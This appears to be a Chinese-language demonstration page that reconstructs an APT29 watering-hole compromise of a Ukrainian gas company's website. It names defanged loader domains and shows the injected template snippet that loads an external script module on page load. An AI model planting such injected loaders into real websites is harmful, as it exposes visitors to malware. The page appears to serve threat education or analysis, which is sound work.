NAFTOGAZ (复刻演示页)

此页模拟被 APT29 入侵的合法网站：攻击者在主模板底部注入了如下代码 （真实样本来自乌克兰天然气生产公司站点，模板注入版加载 static.flux-telemetry[.]com， Plerdy 供应链版加载 edge-ord.clouds-stacks[.]com）：

window.onload = function () {
    const script = document.createElement('script');
    script.src = '/module/5b4c8fea5cbcee273e8d830f52-temfp.js';
    document.body.appendChild(script);
}

浏览器控制台与下方日志实时显示攻击链。